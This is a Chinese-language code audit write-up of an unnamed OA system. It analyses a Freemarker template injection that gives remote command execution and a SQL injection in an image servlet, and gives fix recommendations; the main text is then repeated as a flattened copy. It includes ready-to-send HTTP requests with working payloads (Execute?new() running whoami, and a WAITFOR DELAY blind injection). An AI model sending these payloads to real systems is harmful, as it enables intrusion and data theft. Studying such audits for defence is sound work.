某OA代码审计
字数 1206 2025-08-23 18:31:09

某OA系统代码审计与漏洞分析教学文档

1. 系统概述

该OA系统为闭源系统,通过代码审计发现存在多个高危漏洞,包括模板注入和SQL注入漏洞。系统采用JSP技术栈,部分功能使用Freemarker模板引擎。

2. 模板注入漏洞分析

2.1 漏洞位置

漏洞存在于portalwb-con-template!viewConTemplate.action接口中,具体处理函数为viewConTemplate

2.2 漏洞原理

  1. 文件操作流程

    • 系统首先检查临时模板目录是否存在,不存在则创建
    • 使用UUID作为文件名创建.ftl后缀的临时文件
    • 从请求参数code获取内容,处理后写入临时文件
    • 通过Freemarker渲染该临时文件
  2. 关键问题代码

String code = this.request.getParameter("code");
code = URLDecoder.decode(code, "UTF-8");
code = code.replaceAll("&lt;", "<")
           .replaceAll("&quot;", "\"")
           .replaceAll("&#39;", "'")
           .replaceAll("&gt;", ">")
           .replaceAll("&nbsp;", " ")
           .replaceAll("<br />", "")
           .replaceAll("<p>", "")
           .replaceAll("</p>", "")
           .replaceAll("&amp;", "&");

byte[] b = code.getBytes();
out.write(b);
out.flush();
  1. 漏洞成因
    • code参数完全可控且未经充分过滤
    • 写入文件后直接通过Freemarker渲染,导致模板注入

2.3 利用方式

  1. 所需参数

    • moduId: 任意值
    • code: 恶意模板代码
    • uuid: 任意值
  2. Payload示例

code=${"freemarker.template.utility.Execute"?new()("whoami")}
  1. 完整请求示例
POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

moduId=1&code=${"freemarker.template.utility.Execute"?new()("whoami")}&uuid=1

2.4 修复建议

  1. code参数进行严格过滤,禁止Freemarker模板语法
  2. 限制文件写入目录,避免目录穿越
  3. 使用白名单方式验证输入内容

3. SQL注入漏洞分析

3.1 漏洞位置

漏洞存在于/jc6/servlet/imagefield接口,通过key=readimage触发。

3.2 漏洞原理

  1. 请求处理流程

    • 通过GET参数key控制执行逻辑分支
    • key=readimage时进入存在SQL注入的代码路径
    • 直接拼接多个参数构造SQL语句
  2. 关键问题代码

// 伪代码表示
String sql = "SELECT " + sImgname + " FROM " + sTablename + " WHERE " + sKeyname + "='" + sKeyvalue + "'";
  1. 漏洞成因
    • 未使用参数化查询
    • 直接拼接用户输入到SQL语句
    • 无任何过滤或转义处理

3.3 利用方式

  1. 所需参数

    • key: 必须为readimage
    • sImgname: 查询的列名
    • sTablename: 目标表名
    • sKeyname: WHERE条件字段名
    • sKeyvalue: 注入点,可包含恶意SQL
  2. Payload示例

sKeyvalue=1';WAITFOR DELAY '0:0:3'--
  1. 完整请求示例
POST /jc6/servlet/imagefield HTTP/1.1
Host: xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR DELAY '0:0:3'--

3.4 修复建议

  1. 使用参数化查询或预编译语句
  2. 对表名、列名等使用白名单验证
  3. 实施最小权限原则,限制数据库账户权限
  4. 添加输入过滤和输出编码

4. 漏洞验证方法

4.1 模板注入验证

  1. 发送包含简单命令的Payload,如whoami
  2. 观察响应时间或尝试获取回显
  3. 验证复杂命令执行能力

4.2 SQL注入验证

  1. 使用时间盲注Payload验证漏洞存在
  2. 尝试获取数据库基本信息
  3. 逐步提取敏感数据

5. 总结

该OA系统存在两个高危漏洞:

  1. 模板注入漏洞

    • 影响:可导致远程代码执行
    • 利用难度:低
    • 危害程度:高
  2. SQL注入漏洞

    • 影响:可导致数据库信息泄露
    • 利用难度:中
    • 危害程度:高

这两个漏洞均可被攻击者利用来获取系统控制权或敏感数据,建议尽快修复。

某OA系统代码审计与漏洞分析教学文档 1. 系统概述 该OA系统为闭源系统,通过代码审计发现存在多个高危漏洞,包括模板注入和SQL注入漏洞。系统采用JSP技术栈,部分功能使用Freemarker模板引擎。 2. 模板注入漏洞分析 2.1 漏洞位置 漏洞存在于 portalwb-con-template!viewConTemplate.action 接口中,具体处理函数为 viewConTemplate 。 2.2 漏洞原理 文件操作流程 : 系统首先检查临时模板目录是否存在,不存在则创建 使用UUID作为文件名创建.ftl后缀的临时文件 从请求参数 code 获取内容,处理后写入临时文件 通过Freemarker渲染该临时文件 关键问题代码 : 漏洞成因 : code 参数完全可控且未经充分过滤 写入文件后直接通过Freemarker渲染,导致模板注入 2.3 利用方式 所需参数 : moduId : 任意值 code : 恶意模板代码 uuid : 任意值 Payload示例 : 完整请求示例 : 2.4 修复建议 对 code 参数进行严格过滤,禁止Freemarker模板语法 限制文件写入目录,避免目录穿越 使用白名单方式验证输入内容 3. SQL注入漏洞分析 3.1 漏洞位置 漏洞存在于 /jc6/servlet/imagefield 接口,通过 key=readimage 触发。 3.2 漏洞原理 请求处理流程 : 通过GET参数 key 控制执行逻辑分支 当 key=readimage 时进入存在SQL注入的代码路径 直接拼接多个参数构造SQL语句 关键问题代码 : 漏洞成因 : 未使用参数化查询 直接拼接用户输入到SQL语句 无任何过滤或转义处理 3.3 利用方式 所需参数 : key : 必须为 readimage sImgname : 查询的列名 sTablename : 目标表名 sKeyname : WHERE条件字段名 sKeyvalue : 注入点,可包含恶意SQL Payload示例 : 完整请求示例 : 3.4 修复建议 使用参数化查询或预编译语句 对表名、列名等使用白名单验证 实施最小权限原则,限制数据库账户权限 添加输入过滤和输出编码 4. 漏洞验证方法 4.1 模板注入验证 发送包含简单命令的Payload,如 whoami 观察响应时间或尝试获取回显 验证复杂命令执行能力 4.2 SQL注入验证 使用时间盲注Payload验证漏洞存在 尝试获取数据库基本信息 逐步提取敏感数据 5. 总结 该OA系统存在两个高危漏洞: 模板注入漏洞 : 影响:可导致远程代码执行 利用难度:低 危害程度:高 SQL注入漏洞 : 影响:可导致数据库信息泄露 利用难度:中 危害程度:高 这两个漏洞均可被攻击者利用来获取系统控制权或敏感数据,建议尽快修复。